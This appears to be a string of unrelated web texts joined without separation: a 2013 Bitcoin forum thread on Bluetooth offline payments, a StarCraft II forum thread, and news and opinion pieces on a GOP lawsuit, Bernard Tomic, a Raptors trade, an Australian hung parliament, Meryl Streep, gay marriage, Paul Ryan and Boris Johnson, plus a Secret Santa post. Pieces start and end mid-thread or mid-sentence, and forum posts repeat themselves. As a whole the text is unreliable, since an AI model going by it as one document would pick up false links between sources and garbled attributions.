in person transfers, I know who I'm trading with. Both QR and NFC make pretty sure there cannot be a man in the middle. The first retrieval of the payment request (via http) can be intercepted much more easily however. I think the standard needs to take care of that usecase.
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LegendaryActivity: 1526Merit: 1007 Re: Offline Transactions and Bluetooth! August 21, 2013, 04:50:50 PM #8 Quote from: Andreas Schildbach on August 21, 2013, 10:42:20 AM However, I'm not sure if it's a good fit. For example, how can X.509 signature verification work if devices are offline?
Couple of misunderstandings here:
Firstly, you can easily verify the signatures on a payment request offline. That's the reason I designed the protocol to work that way. All the data you need to verify is in the request protocol buffer + your local cert store, which on Android is provided by the OS. No network interaction is needed.
Secondly, the payment protocol does not require signatures. It can be useful even without signing. It provides multiple features, like a "memo" field that can be used to label transactions and support for refund addresses, and will provide more in future.
The payment protocol is definitely the right direction to go with this work. There's a guy who is preparing to work on implementing it in bitcoinj at the moment, and at that point it should be easy to come up with a transition plan for the Bluetooth protocol.
Quote For in person transfers, I know who I'm trading with. Both QR and NFC make pretty sure there cannot be a man in the middle. The first retrieval of the payment request (via http) can be intercepted much more easily however. I think the standard needs to take care of that usecase.
You wouldn't retrieve the payment request via HTTP. It'd all be done via Bluetooth. The protocol would look like this:
1) Open a bt socket to the MAC given in the &request= param of the bitcoin: URI (this is similar to how it works today)
2) Client sends a new custom message that says, basically, "Give me a payment request"
3) Server sends back a signed payment request message (length prefixed as always). The submit URL in the payment request can either be ignored or (perhaps better) be another bluetooth mac address.
4) Client parses it and verifies the signature if there is one. Displays to user for confirmation. If the user confirms, it then sends a PaymentACK back over the BT socket.
5) Server accepts message and payment is done.
It's basically like the normal payment protocol, except with a bit of extra custom glue.
Now the interesting question is what to do about encryption. As described the protocol is unauthenticated and unencrypted (that's how you skip the pairing process). If the payment request isn't signed, that means it can be MITMd. What might make sense is if the QRcode/bitcoin URI not only included a MAC address but also a public key. Couple of misunderstandings here:Firstly, you can easily verify the signatures on a payment request offline. That's the reason I designed the protocol to work that way. All the data you need to verify is in the request protocol buffer + your local cert store, which on Android is provided by the OS. No network interaction is needed.Secondly, the payment protocol does not require signatures. It can be useful even without signing. It provides multiple features, like a "memo" field that can be used to label transactions and support for refund addresses, and will provide more in future.The payment protocol is definitely the right direction to go with this work. There's a guy who is preparing to work on implementing it in bitcoinj at the moment, and at that point it should be easy to come up with a transition plan for the Bluetooth protocol.You wouldn't retrieve the payment request via HTTP. It'd all be done via Bluetooth. The protocol would look like this:1) Open a bt socket to the MAC given in the &request= param of the bitcoin: URI (this is similar to how it works today)2) Client sends a new custom message that says, basically, "Give me a payment request"3) Server sends back a signed payment request message (length prefixed as always). The submit URL in the payment request can either be ignored or (perhaps better) be another bluetooth mac address.4) Client parses it and verifies the signature if there is one. Displays to user for confirmation. If the user confirms, it then sends a PaymentACK back over the BT socket.5) Server accepts message and payment is done.It's basically like the normal payment protocol, except with a bit of extra custom glue.Now the interesting question is what to do about encryption. As described the protocol is unauthenticated and unencrypted (that's how you skip the pairing process). If the payment request isn't signed, that means it can be MITMd. What might make sense is if the QRcode/bitcoin URI not only included a MAC address but also a public key.
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ModeratorHero MemberActivity: 483Merit: 500 Re: Offline Transactions and Bluetooth! August 21, 2013, 11:36:42 PM
Last edit: August 22, 2013, 07:54:34 AM by Andreas Schildbach #10 Quote from: Mike Hearn on August 21, 2013, 04:50:50 PM Firstly, you can easily verify the signatures on a payment request offline.
Ok, let's see how it works out. It is just from my experience with web browsers which do lazy-load the missing intermediate parts in certificate chains. But anyway, the significance of a X.509 certificate is negliable, as users have no chance of getting their trust store right.
Quote Now the interesting question is what to do about encryption. As described the protocol is unauthenticated and unencrypted (that's how you skip the pairing process). If the payment request isn't signed, that means it can be MITMd. What might make sense is if the QRcode/bitcoin URI not only included a MAC address but also a public key.
I think the right way is skip the intermediate step and send a payment request right away. For NFC, this is pretty straightforward. Put the BIP70 formatted request onto the tag with the appropriate BIP71 MIME type. For QR, I'd suggest Base43-encode the request and put it into a bitcoin: uri (perhaps gzip compress it first) - just like it is done with transactions already. We can skip the signature because we're meeting the person f2f already, so the QR should stay small enough to be scanned easily.
Edit: I just thought that PaymentDetails/payment_url should be a list 0..x of urls. How should the merchant know the capabilities of the customer? He should provide all alternatives he can handle.
Edit 2: On #bitcoin-dev, the consensus seems to be dedicated fields for each medium of communication rather than a list of generic uris. Ok, let's see how it works out. It is just from my experience with web browsers which do lazy-load the missing intermediate parts in certificate chains. But anyway, the significance of a X.509 certificate is negliable, as users have no chance of getting their trust store right.I think the right way is skip the intermediate step and send a payment request right away. For NFC, this is pretty straightforward. Put the BIP70 formatted request onto the tag with the appropriate BIP71 MIME type. For QR, I'd suggest Base43-encode the request and put it into a bitcoin: uri (perhaps gzip compress it first) - just like it is done with transactions already. We can skip the signature because we're meeting the person f2f already, so the QR should stay small enough to be scanned easily.Edit: I just thought that PaymentDetails/payment_url should be a list 0..x of urls. How should the merchant know the capabilities of the customer? He should provide all alternatives he can handle.Edit 2: On #bitcoin-dev, the consensus seems to be dedicated fields for each medium of communication rather than a list of generic uris.
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LegendaryActivity: 1526Merit: 1007 Re: Offline Transactions and Bluetooth! August 22, 2013, 10:59:47 AM #12 People who are paying shouldn't have to think about trust stores at all, and I don't intend that they will. It should operate exactly like SSL in that regard.
Small business owners who want to sign their payment requests might need a wizard or something to help them get set up, yes. It shouldn't involve much beyond opening the file that the CA sent you, confirming the import into the Android cert store, and then telling BW to use it. But I never tried it myself and it's a more advanced feature for next year, perhaps. For now being able to scan QRcodes from websites and pay from your phone is good enough.
I sent you a screenshot of the clipping issue.
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NewbieActivity: 34Merit: 0 Re: Offline Transactions and Bluetooth! August 26, 2013, 08:06:44 PM #14
Mobile (offline) scans QR from tablet (online) and sends per Bluetooth, nice! Two questions:
1. After sending, the mobile said that bluetooth transmission was rejected, although successful.
2. Does the'scan QR' button activate the camera in a different way? Seemed to have no autofocus, while "Barcode Scanner" activates it.
Peter Tried it with official 3.19 and works like a charmMobile (offline) scans QR from tablet (online) and sends per Bluetooth, nice! Two questions:1. After sending, the mobile said that bluetooth transmission was rejected, although successful.2. Does the'scan QR' button activate the camera in a different way? Seemed to have no autofocus, while "Barcode Scanner" activates it.Peter
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ModeratorHero MemberActivity: 483Merit: 500 Re: Offline Transactions and Bluetooth! August 26, 2013, 09:01:10 PM #15 Quote from: Borph on August 26, 2013, 08:06:44 PM 1. After sending, the mobile said that bluetooth transmission was rejected, although successful.
Sounds like a bug. Is it reproducable?
Quote 2. Does the'scan QR' button activate the camera in a different way? Seemed to have no autofocus, while "Barcode Scanner" activates it.
All app-provided buttons use the internal barcode scanner. What phone do you use? There is a known issue with the Galaxy S2 that autofocus does not work but I don't know why. I don't have non-nexus phones to test with.
Sounds like a bug. Is it reproducable?All app-provided buttons use the internal barcode scanner. What phone do you use? There is a known issue with the Galaxy S2 that autofocus does not work but I don't know why. I don't have non-nexus phones to test with.
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NewbieActivity: 43Merit: 0 Re: Offline Transactions and Bluetooth! August 27, 2013, 09:05:19 PM #18 What happens if you have 2 merchants and an offline customer:
- the 1st is offline, but still accepts offline BT transactions
- the 2nd is online and accepts offline BT tansactions
For example If I as a customer send a offline BT transaction to the 1st merchant (offline)
After I go to the 2nd merchant (online) and send him another BT offline transaction.
Now the 2nd merchant sends my signed BT transaction to the network BEFFORE the 1st merchant.
Will be the this transaction valid?
And what about the validity of the first offline transaction (sent to the 1st merchant)?
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ModeratorHero MemberActivity: 483Merit: 500 Re: Offline Transactions and Bluetooth! August 27, 2013, 09:27:50 PM #19 It does not yet send a chain of transactions, if that's what you're aiming for. This is planned, but bitcoinj does not offer the API yet.
So yes, the second merchant will throw away your transaction if it builds on your first transaction and he doesn't know about it. It will all sort out later when parties get online and (re-)broadcast their pending transactions.
However, in reality your wallet should be fragmented enough that pending transactions don't build on each other.JOJOsc2news Profile Blog Joined March 2011 2999 Posts Last Edited: 2012-03-02 00:58:19 #1 An open letter to tournament organizers
_______________________________________________________________________
Dear organizers of StarCraft II tournaments,
I had the chance to talk to the voice actors James Harper, Robert Clotworthy and Neil Kaplan, famous for their portrayal of Arcturus Mengsk, James Raynor and Tychus J. Findlay respectively in the StarCraft II campaign. All of them are very interested about getting involved with the community.
I know for a fact that they would be interested in attending some of the major StarCraft II events in their professional capacity. I would like to leave you with the thought that this is a golden opportunity to bring the fans closer together with the personalities that first enraptured them to the game.
I think it would be a delight to the audience to hear either announcements, player names, or the occasional quote delivered by the actual characters that have helped to make StarCraft II what it is.
I think it is a fortunate situation that the voice actors are so interested in becoming a part of this growing community. Let's get them on board.
Disclaimer:
I am not affiliated with any of the voice actors, I am simply a fan with an idea!
Sincerely,
Jojo _______________________________________________________________________
_______________________________________________________________________
Poll: I support this proposition
Yes (988)
92%
No (83)
8%
1071 total votes (988)92%(83)8%1071 total votes Your vote: I support this proposition (Vote): Yes
(Vote): No
✉ Tweets @sc2channel ⌦ Blog: http://www.teamliquid.net/blog/JOJO ⌫ "Arbiterssss... build more arbiterssss." Click 'Profile' for awesome shiro art!
NeMeSiS3 Profile Blog Joined February 2012 Canada 2969 Posts #2 Fuck yeah! Tychus especially, him announcing anything would be epic.
oGsForGG FoTG fighting!
NoctemSC Profile Blog Joined November 2011 United States 759 Posts #3 As always, I appreciate your interviews.
I think this would be a great opportunity.
Kaplan is an awesome guy. http://www.twitch.tv/noctemsc <--Most epic fun times
Bobbias Profile Blog Joined March 2008 Canada 1322 Posts #4 This is actually a pretty awesome idea, I'd like to see where this could go.
Doodsmack Profile Blog Joined August 2010 United States 6747 Posts #5 Anyone who votes no to this is retarded lol.
corpuscle Profile Blog Joined April 2011 United States 1966 Posts #6 Make Tychus and/or Raynor the de-facto Street Fighter voice of MLG! From the void I am born into wave and particle
Bagration Profile Blog Joined October 2011 United States 17857 Posts #7 This would definitely be awesome. Get these guys to the majors right now! Team Slayers, Axiom-Acer and Vile forever
JOJOsc2news Profile Blog Joined March 2011 2999 Posts #8 On March 02 2012 08:44 Bobbias wrote:
This is actually a pretty awesome idea, I'd like to see where this could go.
Get the word out there and let's make this happen! Get the word out there and let's make this happen! ✉ Tweets @sc2channel ⌦ Blog: http://www.teamliquid.net/blog/JOJO ⌫ "Arbiterssss... build more arbiterssss." Click 'Profile' for awesome shiro art!
Full.tilt Profile Blog Joined May 2010 United Kingdom 1608 Posts #9
Or even just for hype/advertising tournament trailers, that would add a level of quality easily.
Maybe if IGN actually had a decent voice artist reading the monologue that plays in between games during their [IPL] TAC2 tourney I wouldn't cringe every time and mute the stream.
You could add some contact info to various tournament organisers in the OP to make it easy for us to email or tweet them about it Not sure what else to post apart from; of course tournaments should get some quality voice artists to help hype the audience, instead of the usual dodgy method of the commentators asking for applause every game for example.Or even just for hype/advertising tournament trailers, that would add a level of quality easily.Maybe if IGN actually had a decent voice artist reading the monologue that plays in between games during their [IPL] TAC2 tourney I wouldn't cringe every time and mute the stream.You could add some contact info to various tournament organisers in the OP to make it easy for us to email or tweet them about it
SenorChang Profile Blog Joined October 2010 Australia 4438 Posts #10 Raynor and Tychus doing player intro's would be siiickkkk ლ(╹◡╹ლ)
JOJOsc2news Profile Blog Joined March 2011 2999 Posts #11 On March 02 2012 09:02 Full.tilt wrote:
Not sure what else to post apart from; of course tournaments should get some quality voice artists to help hype the audience, instead of the usual dodgy method of the commentators asking for applause every game for example.
Or even just for hype/advertising tournament trailers, that would add a level of quality easily.
Maybe if IGN actually had a decent voice artist reading the monologue that plays in between games during their [IPL] TAC2 tourney I wouldn't cringe every time and mute the stream.
You could add some contact info to various tournament organisers in the OP to make it easy for us to email or tweet them about it Not sure what else to post apart from; of course tournaments should get some quality voice artists to help hype the audience, instead of the usual dodgy method of the commentators asking for applause every game for example.Or even just for hype/advertising tournament trailers, that would add a level of quality easily.Maybe if IGN actually had a decent voice artist reading the monologue that plays in between games during their [IPL] TAC2 tourney I wouldn't cringe every time and mute the stream.You could add some contact info to various tournament organisers in the OP to make it easy for us to email or tweet them about it
Would you help me collect some of their twitter accounts? That would be great! I will add them to the OP Would you help me collect some of their twitter accounts? That would be great! I will add them to the OP ✉ Tweets @sc2channel ⌦ Blog: http://www.teamliquid.net/blog/JOJO ⌫ "Arbiterssss... build more arbiterssss." Click 'Profile' for awesome shiro art!
BushidoSnipr Profile Joined November 2010 United States 910 Posts #12 Screw intros, they should be casters. they already love the game so much
dAPhREAk Profile Blog Joined July 2010 Nauru 12378 Posts #13 seems a little expensive to have paper weights at the tournament.
DrGreen Profile Joined July 2010 Poland 700 Posts #14 gsl had korean voice actors so why not?
gogo mlg/ipl
darkscream Profile Blog Joined December 2010 Canada 2306 Posts #15 Imagine if you got Raynor to come in and do the player intros every game. Just imagine it.
Lavit2099 Profile Joined November 2011 United States 370 Posts #16 I'd prefer something along the lines of conscripting Robert Clotworthy (Jim Raynor), Tricia Helfer (Sarah Kerrigan) and Fred Tatasciore (Zertaul) do the voices, a-la GSL style. But I'm a big dreamer like that. Sort of like what they did last year when each race had their own voice when announcing. The new uniform voices for everyone is kinda boring.
Haydin Profile Joined December 2010 United States 1451 Posts #17 This is a great idea. Especially for doing some player intros, GSL style. I'd be great to bring in more hype. aka ilovesharkpeople
ermogh Profile Joined April 2011 United States 67 Posts #18 This is such a great and epic idea!!! Hm maybe they can do interviews also instead of just player intros? OASAASLLS!
ShatterZer0 Profile Joined November 2010 United States 1841 Posts #19 "Hell, it's about... 15 minutes late." - For delayed games xDDD A time to live.
JOJOsc2news Profile Blog Joined March 2011 2999 Posts #20 On March 02 2012 09:13 Haydin wrote:
This is a great idea. Especially for doing some player intros, GSL style. I'd be great to bring in more hype.
Yeah, when GSL had different voices for each race. That would add so much hype! Yeah, when GSL had different voices for each race. That would add so much hype! ✉ Tweets @sc2channel ⌦ Blog: http://www.teamliquid.net/blog/JOJO ⌫ "Arbiterssss... build more arbiterssss." Click 'Profile' for awesome shiro art!
1 2 3 4 5 6 7 Next AllMany analysts viewed Boehner’s announcement of the lawsuit as a way to placate conservatives. What happened to that GOP lawsuit?
It takes about 10 minutes to walk from the Capitol to the federal courthouse just down the hill, but House Republicans haven’t managed to make that trip in the four months since they announced they’d be suing the president.
House Speaker John Boehner came out swinging hard last June when he announced that his chamber would take President Barack Obama to court. The suit, charging that the president grossly exceeded his constitutional authority by failing to implement portions of the Obamacare law, was billed as an election-season rallying point for aggrieved Republicans. But days before the midterms, the House’s legal guns seem to have fallen silent.
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Lawyers close to the process said they originally expected the legal challenge to be filed in September, but now they don’t expect any action before the elections.
( Also on POLITICO: Obama moves key Senate races toward GOP)
Some attribute the delay to electoral politics — suggesting that Republicans were worried it could rile up the Democratic base — though the GOP is mum on why the suit has yet to be filed.
Whatever the reason, the delay means the core of the suit could effectively be moot before the Obama administration even has to respond to it in court. The case was expected to center on an employer mandate provision that Obama twice delayed but is now set to kick in for many employers on Jan. 1.
“I thought this was a constitutional crisis and the republic was in jeopardy because Obama overstepped his bounds. Now, they can’t even get around to filing it?” asked former House Counsel Stan Brand, a Democrat. “It, to me, emphasizes the not-serious nature of it.”
(Also on POLITICO: Obama library gets one donor in Q3)
A spokesman for Boehner said the date for filing the litigation remains up in the air. “No decisions on timing at this point,” spokesman Kevin Smith said Friday. He declined to comment on speculation about the reasons for the delay.
Some Democrats suspect the filing has been delayed because Boehner’s announcement of the suit over the summer backfired to some extent, spurring fundraising by Democratic committees. Raising the issue again so close to the election could agitate those in the president’s base who view such a lawsuit as disrespectful and part of an effort to delegitimize Obama.
And Democratic consultant David DiMartino said it could push an even wider swath of the country away from the GOP.
( POLITICO's 2014 race ratings)
“I think it goes beyond the Democratic base in terms of the Americans who thought this was beyond the pale,” he argued. Republican leaders “are really good at finding really efficient ways to alienate huge swaths of the American public, and this is one of those issues.”
Some conservatives, however, see the suit’s postponement until after the election as important to rebutting charges that it’s only about politics.
“After the election, it ought to garner more serious commentary, evaluation and judicial review,” said Todd Gaziano of the Pacific Legal Foundation. “It can have some very helpful consequences for a principle that I think liberals and conservatives should both be concerned about, and that is the president’s unilateral authority to rewrite a statute in dozens of ways.”Bernard Tomic is once again the talk of the tennis world - and not in a good way. Credit:David Ramos After drifting to a dull first-round defeat at Wimbledon, you proceed to unload, as the cameras rolled, on just how bored you are with the whole tennis thing, you know? Yes, for others, playing at Wimbledon might be the goal of their existence, their highest attainment, and for others even attending Wimbledon as a spectator is right up there on their bucket list. But not you. You're a bit too... good for that? "I don't know why, but I felt a little bit bored out there, to be completely honest with you," you said. "This is my eighth Wimbledon, or ninth I think... and it's tough to find motivation... I couldn't care less if I make a fourth-round US Open or I lose first round... I believe you have to respect the sport, but I think I don't respect it enough. I just believe playing many years on tour now has sort of taken a toll..." And yes, you have your critics on Twitter, you noted, but those losers you reckon, are likely just out there, "somewhere, making $50 an hour".
Bernard Tomic admits he has lost the motivation to perform at his best. Credit:AP Mate, what is going on? For me, your comments were like a series rocket-flare soaring high over the raging sea, on a dark and stormy night - nothing less than endless cries for help. To play Sigmund for a moment, no one could utter such endless quotes - each one a stick of lit dynamite dropped casually down your own tennis shorts - without there being something seriously wrong. The American tennis writer Ben Rothenberg nailed it when, speaking on 3AW, he said of your performance, "He went straight into sabotaging himself and couldn't shovel fast enough. Everything he said was just designed to cause trouble for him - it was an impressive amount of self-flagellation." Exactly. Or maybe a worrying amount of self-flagellation. This wasn't a racist, sexist, homophobic or bigoted dickhead inadvertently revealing himself to be sexist, racist, homophobic or bigoted - the usual source of controversial comments by sportsmen. This was damn nigh calculated, verbal hara-kiri.
As I say, endless cries for help. All right, so here it is. Mate, stand down. Take a year off. Get totally away from tennis. Find yourself. Neither you nor Nick Kyrgios has ever really had the chance to grow up and make the same mistakes other young men your age make, away from public scrutiny, and clearly have no one in your entourage, or even perhaps in your own family to grip you by the shoulders and tell you the things you need to be told. So get away from it. Have a year when you don't pick up a racquet. If you want, go trekking in Nepal. Or back-packing in Chile. Work on a kibbutz in Israel. Fall in love with a Norwegian woman in Japan, and have your heart broken by a Burmese princess in Patagonia. Live! Breathe! Move! Your every comment screamed, "I am so bored with this whole f---ing thing, I just can't stand it any more," and on one level that is even admirable. But only if you take it to that level, and actually do get away from it. But, one way or another, you cannot go on making a complete dick of yourself the way you do. For one thing, tennis won't let you. You blithely say you can keep doing what you're doing for another 10 years if you want, and you'll have made enough money that you won't have to work, but you are mistaken.
With your publicly professed attitude, tennis cannot afford to have you there. You are anathema to everything it stands for. The man who defeated you in that first round, Mischa Zverev, noted of you, after your comments, "Let's say he's the opposite of, let's say, Rafa." And while tennis finds ever more ways to send Rafael Nadal tens of millions of dollars because he represents everything that makes the sport great, it will find ways to send you to Coventry - look it up - because you represent everything that makes people turn away from the sport, by saying and doing things people didn't even know was possible from a professional athlete. And there really is another way. Instead of being bored all the time, and dully saying you guess you can make enough money, so you won't have to work - in which case I guess you'll still be as bored as you seemed to me to be that day on the Gold Coast - find something you really are passionate for. Move beyond your founding premise that a job is something it is good not to have to do. As they say, find a job that you love, and you'll never work again! Loading But, right now, that clearly ain't tennis. So get away from it. Discover a love for tennis, or for something else. But you cannot go on like this.
Stand down, young man. And good luck.LOS ANGELES—With one sudden and bold move, Masai Ujiri has plotted a definitive course for the future of the Raptors. In a franchise-altering transaction that affirms his reputation as a general manager willing to strike swiftly, Ujiri has found a taker for his most expensive player and obtained significant salary and roster flexibility.
The Toronto Raptors have traded Rudy Gay as part of a seven-player deal with the Sacramento Kings, according to sources. ( John E. Sokolowski / USA Today Sports )
Ujiri found a taker for forward Rudy Gay and the nearly $38 million (all figures U.S.) left on his contract, shipping Gay, Aaron Gray and Quincy Acy to the Sacramento Kings for guard Greivis Vasquez, swingman John Salmons and forwards Patrick Patterson and Chuck Hayes, shaving a potential $12 million-plus off Toronto’s salary obligations next year. The deal will not be finalized until the league approves it in a routine conference call between the teams sometime Monday but Gay, Acy and Gray were not in uniform when the Raptors played the Lakers here Sunday night. While unable to confirm the transaction because it is not official, Raptors head coach Dwane Casey said he wasn’t sure of a style of play now that Gay is no longer duplicating much of what budding star DeMar DeRozan does for the Raptors.
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What do you think?
“We have to see what we have; it’s hard for me to stand here and say exactly how we’re going to play,” Casey said of a team without Gay and DeRozan in the context of Sunday’s game. “You’d like to push the ball, you’d like to be a better defensive team For the most part, we’re going to be a defensive team first, I can guarantee you that. But as far as offence, we have to see how the pieces fit together and guys that I haven’t coached before.” Gay’s departure assures DeRozan of a more substantial role as Toronto’s top offensive weapon. The fifth-year swingman, in the first year of a four-year, $38-million contract, has been the best and most consistent Raptor all season and will now become the true focal point of the team’s offence. “It’s crazy just to see a friend like that go, but once you’ve been through it a couple of times you kind of understand it’s part of the game and part of the business,” said DeRozan, who had 26 points in the Raptors’ 106-94 victory over the Lakers on Sunday night. “You leave it to upper management to make those decisions and for me to just go out and do my job every night.
“It happens. You can’t play this game forever and you can’t play with the same players forever either, even if things were going the right way.” Riding a season-worst five-game losing streak going into Sunday’s game with the Lakers, the Raptors had been expected to make some move, but not one so quickly. Team and league sources had suggest a post-Dec. 15 deal was most likely, since that’s the first day free agents that signed last summer could be dealt, but Ujiri somehow found a taker for the deal.
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“It’s just a part of the game,” said DeRozan. “You think about it but you try to do the best that you can on the court so it doesn’t get to the point to where you start questioning whether one of the other will be here.” More than anything, the trade opens up myriad possibilities this year and next summer for Ujiri. He has a capable backup point guard in Vasquez who should make it possible for Ujiri to move Kyle Lowry and his expiring contract — worth about $6 million — between now and February’s trade deadline. And with good pieces having no significant salary obligations in Patterson, Salmons and Hayes, he got the deal done in time to assure any of them can be included in deadline transactions. Gray is in the final year of a contract that will pay him $2.69 million this season and Acy makes a relative pittance of $788,000 and has no fully guaranteed deal for next season. There is no long-term financial risk with the players coming back. Hayes is on the books for $5.9 million next season, Salmons has a $1-million buyout on a non-guaranteed deal worth $7 million next season, Vasquez could become a free agent if Toronto doesn’t make him a qualifying offer of $3.2 million, and Patterson is the same with a qualifying offer of $4.3 million.Election results: We don't have a winner, so what happens now?
Updated
Election day is over and we still don't know who won.
Malcolm Turnbull says he has "every confidence" the Coalition will be able to form a majority government.
But no-one can really say with certainty what the outcome will be — not even ABC election analyst Antony Green.
That raises a lot of prickly questions, so let's lay it all out.
How did we get here?
OK, let's keep this simple:
To form a majority government, you need to win 76 seats.
The Coalition has won 74 seats.
Labor has 66 seats.
There are two independents, one Greens MP, one Nick Xenophon Team MP and Bob Katter.
And five seats remain in doubt.
Green says the Coalition will win more of the seats that are in doubt.
So what could happen?
There are two main scenarios:
The Coalition picks up nine or more of the "in doubt" seats and can form a majority government. The Coalition does not reach the 76 mark and Australia has a hung parliament.
Green says the Coalition will win more seats than Labor, so a Labor majority government is not a possibility.
What happens next?
We wait.
It will be some days, at the very least, before we know the outcome in every seat.
About 80 per cent of the vote has been counted so far.
There was no counting on Sunday or Monday, but the Australian Electoral Commission resumed the count — including postal and absentee votes —on Tuesday.
"The Liberal Party is much stronger on organising postal vote campaigns than Labor on recent elections," Green notes.
"It's a cliche to say it will go down to postals but in modern voting trends that is important."
When will we know who wins?
It's not clear.
There are bound to be disputes over votes and, in seats where it really comes down to the wire, there could be legal challenges.
Sometimes, with postal or absentee votes, it will be "a long and tedious process", Green says, "because the parties will check every name that's come in and check it against their list of who they think that's voted and they'll maybe question a signature here or date of birth on the form".
What if it's a hung parliament?
A hung parliament happens when no party has more than half the MPs in the House of Representatives, which means no party can pass laws without gaining support from other parties or independent members of the House.
That support could come in the form of a formal coalition, or the governing party may have to negotiate with the other parties to get laws passed.
The party in power — in this case Mr Turnbull and the Coalition — typically has the first opportunity to form government.
It would need to win a motion of confidence in the House of Representatives.
How might a minority government work this time?
The Liberal Party appears certain to have the highest number of seats and in the case of hung Parliament would need the support of crossbenchers to pass that motion of confidence.
It might look to figures such as independent MP Cathy McGowan, newly elected Nick Xenophon Team MP Rebekha Sharkie and long-serving north Queensland MP Bob Katter to get across the line.
For the Labor Party, it would likely need the support of all the minor party and independent candidates in order to form a minority government. That would prove a significantly harder task.
Didn't this happen recently?
Yes. It happened in the 2010 election, which was contested by Labor leader Julia Gillard and Liberal leader Tony Abbott.
In the end, a handful of crossbenchers — including independents Tony Windsor and Rob Oakeshott, and Adam Bandt of the Greens — sided with Labor and helped return Ms Gillard as PM.
Before that, you had to go back to 1940 for a hung Parliament. In that case, Robert Menzies was able to form and lead a coalition government, but subsequently lost support and was succeeded by Arthur Fadden in mid-1941.
Later that year, two independents switched their support to Labor and John Curtin |
in her bubble to realize that those are both things that many people very much enjoy.
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Throughout the speech, Streep kept insisting that the actors gathered at the Golden Globes represented nothing more than a collection of various regular people from various regular places — “I was born and raised and educated in the public schools of New Jersey,” she bragged — but the fact is, just because you start out as a “regular person” doesn’t mean that you’ll stay that way forever.
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Regardless of who these “Hollywood elites” were before they became rich and famous, the truth is that they have since become people who were too isolated to consider that Donald Trump had any chance of winning the election, and who are still too isolated understand that they’re going to have to accept the fact that he did. Yes, the job of an actor may be, as Streep noted, “to enter the lives of people who are different,” but that doesn’t change the fact that when it’s time to give out awards, the film that they connect to the most is still the one about the glitzy lives they’re living now. It doesn’t change the fact that, instead of trying to connect with Trump voters to try and understand why they did what they did, they’d rather just write them off as garbage people and continue to make comments slamming them any chance they get.
Sure, some people may be calling Streep’s comments on Donald Trump “brave” — but those are the exact same people who already agreed with her anyway. Hollywood does not need to win over those people. They’ve been won, and continuing to mock the other side over things that happened more than a year ago is only going to ensure that their side will continue to lose.
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#related#I was no supporter of Donald Trump during the election. In fact, like Streep, I consider many of his comments and actions to be disgusting, including the one that she referenced last night. But the truth is, that incident with the reporter happened in 2015... and he won anyway. Bringing it up isn’t going to change anyone’s mind about Trump, because the people who voted for him voted for him despite having known about it — and there were enough of those people to win him the White House. Her speech is not going to help her cause; it only encouraged the Trump voters who did not listen to Hollywood during the election to continue to not listen to Hollywood. If people like Streep are really concerned about the direction of our country, and if they really do want to change it, then they need to make earnest attempts to connect with the people they disagree with instead of going on self-serving, elitist rants in a country that’s full of people who do like things like MMA.
— Katherine Timpf is a reporter for National Review Online.Supreme Court Hears Gay Marriage Cases
The Supreme Court on Tuesday took up cases on whether the Constitution gives gay couples the right to marry. Justices also agreed to decide by the end of their term this June whether states that do not permit same-sex weddings must recognize couples legally married in other states.
Sen. Bernie Sanders has a long record of support for the right of gays to marry. In the House, he voted in 1996 against the so-called Defense of Marriage Act, which barred federal recognition of gay marriages. The Supreme Court in 2013 struck down part of that law as unconstitutional.
In Vermont, Sanders supported efforts in the state Legislature which in 2000 passed a law recognizing civil unions. Vermont went on in 2009 to be the first states to legalize gay marriage without a court order.
“Of course all citizens deserve equal rights. It’s time for the Supreme Court to catch up to the American people and legalize gay marriage,” Sanders said.Wow, I'm so impressed with my Santa. The gifts were perfect! I first opened the card which had a beautiful "Merry Christmas" in which is going on my wall :D. Then I opened a package of chicory coffee called Ricoffy which I am super excited to try. Recently my dad was telling me about chicory and how they drank it in the war when you couldn't get coffee. So this is super awesome! Next I opened some MARMITE! I love Marmite. How they knew I have no idea! :) best thing is my SO doesn't like Marmite so it's all for me! I've really been spoilt by my Santa. I next opened a package with a lovely note on of rooibos! I do love tea and this one looks really good! The next box was another rooibos and chai tea! My santa said they liked this one so I made a cup and am drinking it now. It smells delicious :D Then I opened a squishy present which was for my son! That's so generous! He loved it and promptly put it in his mouth (the highest of praise)
Thank you Santa! Please let me know who you are so I can thank you again!House Speaker Paul Ryan presented his economic agenda last week, but it does not deal with the country’s problems with jobs, wages, investment, trade, inequality or other pressing economic issues. Rather, its 57 pages boil down to one idea: Roll back hundreds of federal regulations that protect consumers, investors, employees, borrowers, students and the environment.
The plan bases its case for deregulation on the claim that “the American people now spend $1.89 trillion every year, just to comply with Washington’s rules — approximately $15,000 per household.” That estimate, from the Competitive Enterprise Institute, a free-market group formed in 1984, has been debunked. Its fatal flaw is that it assumes regulations have only costs and no benefits. The Ryan plan recycles that absurdity. It harps on corporate compliance costs while ignoring the social and economic benefits of, say, clean air, clean water, time-and-a-half for overtime, properly underwritten loans and adequate bank capital, to name just a few of the regulatory targets.
Mr. Ryan seems to think his ideas would become reality in a Donald Trump administration. “We feel very confident that our presumptive nominee is comfortable with this agenda,” he said in announcing the plan.
That may be, but the American people are unlikely to be comfortable with it. One of the bills promoted in the plan would repeal “all climate-change regulations under the Clean Air Act.” Others promote coal mining and offshore oil drilling. These proposals are consistent with statements by Mr. Trump, the presumptive Republican presidential nominee, that he would eliminate the Environmental Protection Agency, but they do not reflect public opinion.Foreign secretary Boris Johnson has been accused of 'incredible insensitivity' after reciting part of a colonial-era Rudyard Kipling poem about a British soldier kissing a Burmese girl to Myanmar dignitaries.
Mr Johnson began quoting the opening lines of Mandalay during a visit to the Shwedagon Pagoda in Yangon, the capital of Burma, in January before being stopped by an ambassador.
The poem by Rudyard Kipling is written through the eyes of a retired British serviceman in Burma, also known as Myanmar, which Britain colonised for more than a century.
Foreign secretary Boris Johnson has been accused of 'incredible insensitivity' after reciting part of a colonial-era Rudyard Kipling poem about a British soldier kissing a Burmese girl to Myanmar dignitaries
In the footage due to be broadcast by Channel 4, the British ambassador Andrew Patrick stopped Mr Johnson mid-flow before he recited the line 'Bloomin' idol made o' mud/ Wot they called the Great Gawd Budd' – a reference to Buddha.
Mr Patrick told Mr Johnson: 'You're on mic. Probably not a good idea', to which the Unxbridge MP said: 'What, The Road to Mandalay?', according to The Guardian.
The ambassador replies: 'No. Not appropriate.'
Mark Farmaner, director of the Burma Campaign UK, told the publication: 'There is a sensitivity about British colonialism and it is something that people in Burma are still resentful about. British colonial times were seen as a humiliation and an insult.
'It shows an incredible lack of understanding especially now we are seeing the impact of Buddhist nationalism, especially in Rakine state.'
Mr Johnson is said to have begun quoting the opening lines of Mandalay during a visit to the Shwedagon Pagoda in Yangon, the capital of Burma, in January before being stopped by an ambassador
